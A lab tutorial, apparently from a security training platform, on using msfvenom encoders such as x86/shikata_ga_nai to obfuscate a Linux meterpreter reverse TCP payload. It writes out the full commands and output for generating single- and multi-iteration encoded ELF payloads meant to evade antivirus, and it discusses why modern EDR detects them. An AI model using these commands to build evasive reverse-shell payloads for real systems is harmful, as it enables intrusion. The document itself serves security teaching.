Introduction
In the field of cybersecurity, payload obfuscation is a critical technique used to evade detection by security software. msfvenom, a powerful tool within the Metasploit Framework, is a standalone payload generator that can also be used to encode payloads, altering their structure to avoid signature-based detection by antivirus (AV) systems.
An encoder applies a series of transformations to the payload's original code, making it unreadable to simple signature scanners. When the payload is executed, a small decoder stub runs first, reconstructs the original payload in memory, and then transfers execution to it.
In this lab, you will learn the fundamentals of using msfvenom encoders. You will start by listing available encoders, then select a popular one to generate an encoded payload, apply multiple encoding iterations, and finally discuss the effectiveness of this technique against modern security solutions.
List available encoders with msfvenom --list encoders
In this step, you will begin by listing all the encoders available in msfvenom. This will give you an overview of the different options you have for obfuscating payloads.
First, you need to ensure the Metasploit Framework, which includes msfvenom, is installed. Run the following commands to update your package list and install it.
sudo apt-get update
sudo apt-get install -y metasploit-framework
Once the installation is complete, you can list all available encoders using the --list encoders option with msfvenom. This command will display a table of encoders with their rank, name, and a brief description. The rank indicates the encoder's reliability and effectiveness, with excellent being the highest.
Execute the following command in your terminal:
msfvenom --list encoders
You will see a long list of available encoders. The output will be structured like this, showing the name, rank, and description for each one.
Framework Encoders [--list encoders]
====================================
Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/sh_char_code manual Shell Char Code Substitution Command Encoder
...
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
...
x64/zutto normal Ruby based x64 encoder
Take a moment to scroll through the list to see the variety of encoders available for different architectures and purposes.
Select an encoder like x86/shikata_ga_nai
In this step, you will learn about one of the most well-known encoders: x86/shikata_ga_nai. There is no command to execute in this step; the goal is to understand why a specific encoder might be chosen.
From the list you generated in the previous step, you likely noticed the x86/shikata_ga_nai encoder. It is famous for a few reasons:
- Rank: It has an
excellentrank, meaning it is highly reliable and unlikely to corrupt the payload during the encoding process. - Polymorphism: It is a polymorphic encoder. This means it changes its own decryption code each time it's applied. In theory, this makes it much harder for AV software to create a static signature for the decoder stub.
- Wide Use: It has been one of the most popular and default encoders in Metasploit for many years, making it a classic example for learning about obfuscation.
While its popularity has also led to it being heavily fingerprinted by modern AVs (a topic we will cover later), it remains a perfect example for demonstrating the encoding process. In the next step, you will use this encoder to obfuscate a payload.
Generate a payload using the -e flag to specify the encoder
In this step, you will generate a payload and apply the x86/shikata_ga_nai encoder to it. You will use the -e flag to specify the chosen encoder.
Let's create a simple Linux reverse TCP payload. This payload will attempt to connect back to a specified IP address and port. We will encode it and save it as an ELF (Executable and Linkable Format) file, which is the standard binary format for Linux.
The command structure is as follows:
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -e <encoder> -f <format> > <output_file>
-p: Specifies the payload. We'll uselinux/x86/meterpreter/reverse_tcp.LHOSTandLPORT: Options required by the payload to know where to connect back. We'll use127.0.0.1(localhost) for this example.-e: Specifies the encoder. We'll usex86/shikata_ga_nai.-f: Specifies the output format. We'll useelf.>: Redirects the output to a file.
Now, run the following command in your terminal to generate the encoded payload and save it as encoded_payload.elf:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -f elf > encoded_payload.elf
msfvenom will process the request and show you some information about the generated payload, including the final size.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai chosen with final size 104
Payload size: 104 bytes
Final size of elf file: 224 bytes
You have now successfully created an encoded payload file named encoded_payload.elf in your current directory (~/project). You can verify its creation with the ls -l command.
ls -l
total 4
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
Use the -i flag to apply multiple encoding iterations
In this step, you will learn how to apply the encoder multiple times to the same payload using the -i flag for iterations. The theory is that multiple layers of encoding will make the payload even harder to detect.
While this sounds effective, it has trade-offs. Each encoding iteration adds a new decoder stub, which increases the overall size of the payload. Furthermore, this can sometimes create a repetitive pattern that security software can detect.
Let's apply the x86/shikata_ga_nai encoder 5 times to the same payload. We will save this new payload as multi_encoded_payload.elf to compare it with the previous one.
Use the following command, adding the -i 5 flag:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf > multi_encoded_payload.elf
msfvenom will now apply the encoder five times. Notice the output, which shows each iteration.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 104 (iteration=0)
x86/shikata_ga_nai succeeded with size 131 (iteration=1)
x86/shikata_ga_nai succeeded with size 158 (iteration=2)
x86/shikata_ga_nai succeeded with size 185 (iteration=3)
x86/shikata_ga_nai succeeded with size 212 (iteration=4)
x86/shikata_ga_nai chosen with final size 212
Payload size: 212 bytes
Final size of elf file: 332 bytes
Now, use ls -l to compare the file sizes of the single-encoded and multi-encoded payloads.
ls -l
total 8
-rw-r--r-- 1 labex labex 224 May 20 10:30 encoded_payload.elf
-rw-r--r-- 1 labex labex 332 May 20 10:35 multi_encoded_payload.elf
As you can see, the multi_encoded_payload.elf is significantly larger than encoded_payload.elf due to the repeated encoding process.
Discuss the effectiveness of encoders against modern AV
In this final step, we will discuss the real-world effectiveness of basic encoders like x86/shikata_ga_nai. This step is purely conceptual, and there are no commands to run.
While encoders were once a highly effective method for bypassing AV, their effectiveness has greatly diminished against modern security solutions like next-generation antivirus (NGAV) and endpoint detection and response (EDR) systems. Here's why:
Signature of the Decoder: Security vendors know how popular encoders work. The decoder stub for
shikata_ga_naiis, itself, a well-known signature. Many AV products will flag a file simply because it contains this decoder, regardless of what payload it's trying to decode. Applying more iterations (-iflag) often makes this signature even more obvious.Heuristic and Behavioral Analysis: Modern AVs don't just rely on static signatures. They use heuristics to identify suspicious characteristics (e.g., a small program trying to allocate executable memory) and behavioral analysis to monitor what a program does when it runs. An encoded payload that decodes itself in memory and then tries to open a reverse shell is a highly suspicious behavior that is easily detected.
Sandboxing and Emulation: Many security products can execute a suspicious file in a safe, virtual environment (a sandbox) to observe its behavior before it runs on the actual system. In the sandbox, the AV can let the payload decode itself and then analyze the original, malicious code.
In conclusion, while understanding msfvenom encoders is a fundamental skill, relying solely on them for obfuscation is not a viable strategy in modern environments. Advanced evasion requires more sophisticated techniques, such as creating custom encoders, using packers and crypters, and employing methods that specifically target and bypass behavioral detection engines.
Summary
In this lab, you explored the basics of payload obfuscation using msfvenom encoders.
You learned how to:
- List all available encoders with
msfvenom --list encoders. - Select and understand the purpose of a popular polymorphic encoder like
x86/shikata_ga_nai. - Generate an encoded payload using the
-eflag. - Apply multiple encoding iterations with the
-iflag and observe the impact on file size. - Understand the limitations of basic encoders against modern antivirus and EDR solutions.
This knowledge provides a solid foundation for understanding payload generation and the cat-and-mouse game of malware detection and evasion. The techniques you practiced are a starting point for exploring more advanced obfuscation methods used in professional penetration testing.


